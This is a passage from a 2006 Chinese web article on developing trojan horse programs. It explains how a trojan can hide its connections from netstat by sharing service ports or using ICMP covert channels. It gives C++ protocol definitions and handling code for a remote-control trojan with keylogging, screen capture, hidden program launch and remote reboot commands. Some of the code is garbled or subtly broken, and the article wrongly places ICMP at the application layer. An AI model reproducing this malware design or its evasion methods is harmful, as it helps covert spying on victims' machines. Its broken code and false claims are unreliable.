| 透视木马程序开发技术(中) |
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作者:佚名 文章来源:不详 点击数: 更新时间:2006-12-5 20:17:13  |
4、木马程序的建立连接的隐藏
木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。
C:\Documents and Settings\bigball>netstat -n
Active Connections
ProtoLocal AddressForeign AddressState TCP192.0.0.9:1032 64.4.13.48:1863ESTABLISHED TCP192.0.0.9:1112 61.141.212.95:80 ESTABLISHED TCP192.0.0.9:1135 202.130.239.223:80 ESTABLISHED TCP192.0.0.9:1142 202.130.239.223:80 ESTABLISHED TCP192.0.0.9:1162 192.0.0.8:139TIME_WAIT TCP192.0.0.9:1169 202.130.239.159:80 ESTABLISHED TCP192.0.0.9:1170 202.130.239.133:80 TIME_WAIT
C:\Documents and Settings\bigball>netstat -a
Active Connections
ProtoLocal AddressForeign AddressState TCPLiumy:echo Liumy:0LISTENING TCPLiumy:discardLiumy:0LISTENING TCPLiumy:daytimeLiumy:0LISTENING TCPLiumy:qotd Liumy:0LISTENING TCPLiumy:chargenLiumy:0LISTENING TCPLiumy:epmapLiumy:0LISTENING TCPLiumy:microsoft-ds Liumy:0LISTENING TCPLiumy:1025 Liumy:0LISTENING TCPLiumy:1026 Liumy:0LISTENING TCPLiumy:1031 Liumy:0LISTENING TCPLiumy:1032 Liumy:0LISTENING TCPLiumy:1112 Liumy:0LISTENING TCPLiumy:1135 Liumy:0LISTENING TCPLiumy:1142 Liumy:0LISTENING TCPLiumy:1801 Liumy:0LISTENING TCPLiumy:3372 Liumy:0LISTENING TCPLiumy:3389 Liumy:0LISTENING TCPLiumy:netbios-ssnLiumy:0LISTENING TCPLiumy:1028 Liumy:0LISTENING TCPLiumy:1032 msgr-ns19.msgr.hotmail.com:1863ESTAB TCPLiumy:1112 szptt61.141.szptt.net.cn:httpESTABLI TCPLiumy:1135 202.130.239.223:http ESTABLISHED TCPLiumy:1142 202.130.239.223:http ESTABLISHED TCPLiumy:1162 W3I:netbios-ssnTIME_WAIT TCPLiumy:1170 202.130.239.133:http TIME_WAIT TCPLiumy:2103 Liumy:0LISTENING TCPLiumy:2105 Liumy:0LISTENING TCPLiumy:2107 Liumy:0LISTENING UDPLiumy:echo *:* UDPLiumy:discard*:* UDPLiumy:daytime*:* UDPLiumy:qotd *:* UDPLiumy:chargen*:* UDPLiumy:epmap*:* UDPLiumy:snmp *:* UDPLiumy:microsoft-ds *:* UDPLiumy:1027 *:* UDPLiumy:1029 *:* UDPLiumy:3527 *:* UDPLiumy:4000 *:* UDPLiumy:4001 *:* UDPLiumy:1033 *:* UDPLiumy:1148 *:* UDPLiumy:netbios-ns *:* UDPLiumy:netbios-dgm*:* UDPLiumy:isakmp *:*
但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:
网络层次结构图
5、发送数据的组织方法
关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:
typedef struct{ //定义消息结构 //char ip[20]; char Type;//消息种类 char Password[20];//密码 int CNum;//消息操作号 //int Length;//消息长度 }Msg; #define MsgLen sizeof(Msg) //------------------------------------------- //对话框数据包定义:Dlg_Msg_Type.h //------------------------------------------- //定义如下消息类型: #define MsgDlgCommon 4//连接事件 #define MsgDlgSend 5//发送完成事件 //消息结构 typedef struct{ char Name[20];//对话框标题 char Msg[256];//对话框消息内容 }MsgDlgUint; #define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度 //------------------------------------------ //聊天数据包定义:Chat_Msg_Type.h //------------------------------------------ //定义如下消息类型: #define MsgChatCommon 0//连接事件 #define MsgChatConnect 1//接入事件 #define MsgChatEscept 2//结束事件 #define MsgChatReceived 16//确认对话内容收到 //消息结构 typedef struct{ char ClientName[20];//Client自定义的名称 char Msg[256];//发送的消息 }MsgChatUint; #define MsgChatLen sizeof(MsgChatUint)//消息单元长度
//------------------------------------------ //重启数据包定义:Reboot_Msg_Type.h //------------------------------------------ //定义如下消息类型: #define MsgReBoot 15//重启事件
//------------------------------------------ //目录结构请求数据包定义:Dir_Msg_Type.h //------------------------------------------ //定义如下消息类型: #define MsgGetDirInfo 17 #define MsgReceiveGetDirInfo 18 typedef struct{ char Dir[4096];//你要的目录名 }MsgDirUint; #define MsgDirUintLen sizeof(MsgDirUint)
// TCP的Msg typedef struct{ //定义消息结构 char SType;//消息种类 char SPassword[20];//密码 //int SNum; //消息操作号 char *AllMsg; }SMsg; #define SMsgLen sizeof(SMsg)
#define MSGListProgram19 #define MSGFlyMouse 21 #define MSGGoWithMouse 22 #define MSGSaveKey23 #define MSGTracekey 24 #define MsgCopyScreen 25//tcp接收消息,udp请求消息 #define MSGCopyWindow 26
//------------------------- //鼠标指针隐藏和显示控制 //------------------------- #define MsgSetMouseStat 27//设置消息 #define MsgMouseStat 28//成功消息 typedef struct{ bool mouseshow; }MsgSetMouseStatUint; #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)
//------------------------- //任务栏隐藏和显示控制 //------------------------- #define MsgSetTaskBarStat 29//设置消息 #define MsgTaskBarStat 30//成功消息 typedef struct{ bool taskshow; }MsgSetTaskBarStatUint; #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)
//------------------------- //得到机器名 //------------------------- #define MsgGetNetBiosName 31//取请求 #define MsgNetBiosName 32//回送机器名 typedef struct{ char NetBiosName[128]; }MsgNetBiosNameUint; #define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)
//------------------------- //关闭进程变更! //------------------------- #define MsgSetProgramClose 33//关闭请求 #define MsgProgramClosed 34//成功消息----- typedef struct{ char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字 }MsgSetProgramCloseUint; #define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)
//------------------------- //打开进程变更! //------------------------- #define MsgSetProgramOpen 20//打开请求 #define MsgProgramOpened 36//成功消息 typedef struct{ char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字 bool ProgramShow;//前台运行或后台运行程序(隐藏运行) }MsgSetProgramOpenUint; #define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)
#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)
上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。
数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:
Msg *msg=new Msg; TMemoryStream *RData=new TMemoryStream; NMUDP1->ReadStream(RData); RData->Read(msg,sizeof(Msg)); UdpConnect *udpconnect=new UdpConnect; NetBiosName *netbiosname=new NetBiosName; if(msg->CNum==CNumBak) return; else{ CNumBak=msg->CNum; switch(msg->Type) { case 0://MsgUdpConnect RData->Read(udpconnect,sizeof(UdpConnect)); checkuser(udpconnect->IsRight); break; case 1: RData->Read(netbiosname,sizeof(NetBiosName)); AnsiString jqm="机器名 "; jqm+=(AnsiString)netbiosname->NetBiosName; Memo2->Lines->Add(jqm); break; } }
当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:
NMUDP1->RemoteHost=FromIP; NMUDP1->RemotePort=Port; TMemoryStream *RData=new TMemoryStream; NMUDP1->ReadStream(RData); Msg *msg=new Msg; RData->Read(msg,sizeof(Msg)); if(msg->CNum==CNumBak) return; else { CNumBak=msg->CNum; switch(msg->Type) { case 0: checkuser(msg->Password); break; case 1: GetNetBiosName(); break; case 2: CheckHard(); break; } } 此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:
#define MAXXCount 10 //屏幕X方向最多分割块数 #define MAXYCount 5 //... Y................ #define DestNum 1000 //每块的偏移检测点最大个数 COLORREF Colors[MAXXCount][MAXYCount][DestNum]; COLORREF BakColors[MAXXCount]{MAXYCount][DestNum]; TPoint Dests[DestNum]; int Sw; int Sh; int xCount; int yCount; int ItemWidth; int ItemHeight; int Dnum; int Qlity; //得到消息后执行: //另外:接收到的数据包中分析出 Dnum ,Qlity //Dnum:偏移观测点数量 //Qlity:图象要求质量 __fastcall TForm1::CopyScreen(int DNum,int Qlity){ ItemWidth=Sw/xCount; ItemHeight=Sh/yCount; Sw=Screen->Width; Sh=Screen->Height; xCount=(Sw>1000)?8:6; yCount=(Sh>1000)?3:2; for (int num1=0;num1 Dests[num1].x=random(ItemWidth); Dests[num1].y=random(ItemHeight); } CatchScreen(DNum,Qlity); } //收到刷屏消[1] [2] 下一页
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| 文章录入:wuyongjian 责任编辑:wuyongjian |
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